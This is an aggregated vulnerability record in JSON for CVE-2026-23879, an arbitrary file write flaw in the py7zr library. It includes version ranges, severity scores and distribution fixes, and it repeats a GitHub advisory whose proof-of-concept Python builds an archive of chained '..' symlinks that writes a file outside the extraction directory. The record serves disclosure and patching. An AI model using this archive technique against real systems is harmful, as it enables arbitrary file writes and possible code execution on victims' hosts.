{"id":"CVE-2026-23879","aliases":["DEBIAN-CVE-2026-23879","EUVD-2026-39050","GHSA-q6rc-2cgv-63h7","PYSEC-2026-2974","UBUNTU-CVE-2026-23879","openSUSE-SU-2026:11112-1","openSUSE-SU-2026:21159-1"],"status":"published","title":"py7zr: Arbitrary File Write Vulnerability","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","severity":{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00498,"percentile":0.43163,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-59"],"published":"2026-06-19T19:21:57Z","modified":"2026-10-28T02:30:32Z","fixes":[{"ecosystem":"PyPI","package":"py7zr","fixed_in":["1.1.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"py7zr","fixed_in":["1.1.2+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.2"},{"fixed":"1.1.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-5","0.11.3+dfsg-6","0.11.3+dfsg-7","0.11.3+dfsg-8","0.21.0+dfsg-1","0.21.0+dfsg-2","0.21.1+dfsg-1","0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1","1.1.3+dfsg-2","1.1.3+dfsg-3","1.1.3+dfsg-4","1.1.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1","1.1.3+dfsg-2","1.1.3+dfsg-3","1.1.3+dfsg-4","1.1.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.2+dfsg-1"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1~exp1"]},{"source":"osv","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3"}]}],"versions":["0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.10.0a1","0.10.0a2","0.10.0a3","0.10.0a4","0.10.0a5","0.10.0a6","0.10.0b1","0.10.0b3","0.10.1","0.10.2","0.11.0","0.11.0a1","0.11.0b1","0.11.0b2","0.11.0b3","0.11.1","0.11.2","0.11.3","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.18.10","0.18.11","0.18.12","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.9","0.19.0","0.19.1","0.19.2","0.2.0","0.20.0","0.20.1","0.20.2","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.21.0","0.21.1","0.22.0","0.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4","0.4.1","0.4.3","0.4.4","0.4a1","0.4a2","0.4b1","0.5","0.5.2","0.5.3","0.5.4","0.5.5","0.5a3","0.5a4","0.5b1","0.5b2","0.5b3","0.5b4","0.5b5","0.5b6","0.5rc2","0.5rc3","0.6","0.6a1","0.6a2","0.6b1","0.6b2","0.6b3","0.6b4","0.6b5","0.6b6","0.6b7","0.6b8","0.6rc0","0.7.0","0.7.0b1","0.7.0b2","0.7.0b3","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.0a1","0.8.0a2","0.8.0a3","0.8.0b1","0.8.0b2","0.8.0b3","0.8.0b4","0.8.0b5","0.8.0b6","0.8.0b7","0.8.0b8","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.9.0","0.9.0a1","0.9.0a2","0.9.0b1","0.9.0b2","0.9.0b3","0.9.1","0.9.10","0.9.2","0.9.3","0.9.4","0.9.5","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.1.0","1.1.0rc2","1.1.0rc4","1.1.2"]},{"source":"osv","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3"}]}],"versions":["0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.10.0a1","0.10.0a2","0.10.0a3","0.10.0a4","0.10.0a5","0.10.0a6","0.10.0b1","0.10.0b3","0.10.1","0.10.2","0.11.0","0.11.0a1","0.11.0b1","0.11.0b2","0.11.0b3","0.11.1","0.11.2","0.11.3","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.18.10","0.18.11","0.18.12","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.9","0.19.0","0.19.1","0.19.2","0.2.0","0.20.0","0.20.1","0.20.2","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.21.0","0.21.1","0.22.0","0.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4","0.4.1","0.4.3","0.4.4","0.4a1","0.4a2","0.4b1","0.5","0.5.2","0.5.3","0.5.4","0.5.5","0.5a3","0.5a4","0.5b1","0.5b2","0.5b3","0.5b4","0.5b5","0.5b6","0.5rc2","0.5rc3","0.6","0.6a1","0.6a2","0.6b1","0.6b2","0.6b3","0.6b4","0.6b5","0.6b6","0.6b7","0.6b8","0.6rc0","0.7.0","0.7.0b1","0.7.0b2","0.7.0b3","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.0a1","0.8.0a2","0.8.0a3","0.8.0b1","0.8.0b2","0.8.0b3","0.8.0b4","0.8.0b5","0.8.0b6","0.8.0b7","0.8.0b8","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.9.0","0.9.0a1","0.9.0a2","0.9.0b1","0.9.0b2","0.9.0b3","0.9.1","0.9.10","0.9.2","0.9.3","0.9.4","0.9.5","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.1.0","1.1.0rc2","1.1.0rc4","1.1.2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-1","0.11.3+dfsg-1ubuntu1","0.11.3+dfsg-2","0.11.3+dfsg-3","0.11.3+dfsg-4","0.11.3+dfsg-4ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-6","0.11.3+dfsg-7","0.11.3+dfsg-8","0.11.3+dfsg-8build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.2+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0+dfsg1-1","1.0.0+dfsg1-3","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.2+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0-bp160.2.1"}]}],"bundled":3}],"products":[{"vendor":"miurahr","product":"py7zr"}],"references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23879","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q6rc-2cgv-63h7","tags":["advisory"]},{"url":"https://github.com/miurahr/py7zr","tags":["package"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/py7zr/PYSEC-2026-2974.yaml","tags":["web"]},{"url":"https://pypi.org/project/py7zr","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23879.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-23879","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-23879","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23879","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55195","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55206","tags":["web"]},{"url":"https://bugzilla.suse.com/1268665","tags":["report"]},{"url":"https://bugzilla.suse.com/1268666","tags":["report"]},{"url":"https://bugzilla.suse.com/1268669","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-23879","title":"py7zr: Arbitrary File Write Vulnerability","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","status":"published","published":"2026-06-24T19:17:28.605Z","modified":"2026-06-25T15:57:59.954Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T13:42:04.39372Z"}],"euvd":[{"id":"EUVD-2026-39050","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","status":"published","published":"2026-06-24T19:17:28Z","modified":"2026-06-25T15:57:59Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:25.700423Z"}],"ghsa":[{"id":"GHSA-q6rc-2cgv-63h7","title":"py7zr: Arbitrary File Write Vulnerability","description":"### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n\u003cimg width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" /\u003e\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, 'w') as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode='r') as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n\u003cimg width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" /\u003e\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.","status":"published","published":"2026-06-19T19:21:57Z","modified":"2026-07-21T13:17:01Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:40:49.410128Z"}],"nvd":[{"id":"CVE-2026-23879","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","status":"published","published":"2026-06-24T20:16:31.817Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:12:25.67873Z"}],"osv":[{"id":"CVE-2026-23879","title":"py7zr: Arbitrary File Write Vulnerability","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","status":"published","published":"2026-06-24T19:17:28.605Z","modified":"2026-10-28T02:30:32.168294824Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"DEBIAN-CVE-2026-23879","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","status":"published","published":"2026-06-24T20:16:31.817Z","modified":"2026-10-26T12:02:46.523484242Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:53.516942Z"},{"id":"GHSA-q6rc-2cgv-63h7","title":"py7zr: Arbitrary File Write Vulnerability","description":"### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n\u003cimg width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" /\u003e\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, 'w') as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode='r') as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n\u003cimg width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" /\u003e\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.","status":"published","published":"2026-06-19T19:21:57Z","modified":"2026-07-21T13:30:33.266395189Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"PYSEC-2026-2974","title":"py7zr: Arbitrary File Write Vulnerability","description":"### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n\u003cimg width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" /\u003e\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, 'w') as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode='r') as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n\u003cimg width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" /\u003e\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.","status":"published","published":"2026-07-13T15:46:21.302457Z","modified":"2026-07-13T16:32:07.999107489Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2026-23879","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","status":"published","published":"2026-06-24T20:16:00Z","modified":"2026-10-17T12:59:56.181271662Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:04.456047Z"},{"id":"openSUSE-SU-2026:11112-1","title":"python311-py7zr-1.1.3-1.1 on GA media","description":"These are all security issues fixed in the python311-py7zr-1.1.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-23T00:00:00Z","modified":"2026-06-24T09:00:19.696616672Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21159-1","title":"Security update for python-py7zr","description":"This update for python-py7zr fixes the following issues:\n\nChanges in python-py7zr:\n\n- CVE-2026-23879: crafted malicious symbolic link chains in an archive can\n  lead to an arbitrary file write (bsc#1268669)\n- CVE-2026-55195: unchecked extraction size can cause a denial of service (bsc#1268665)\n- CVE-2026-55206: crafted .7z archive with a large numstreams value can\n  cause a denial of service (bsc#1268666)\n","status":"published","published":"2026-06-25T15:31:46Z","modified":"2026-06-30T18:24:46.176906884Z","updated_at":"2026-11-02T16:58:41.885092Z"}]}}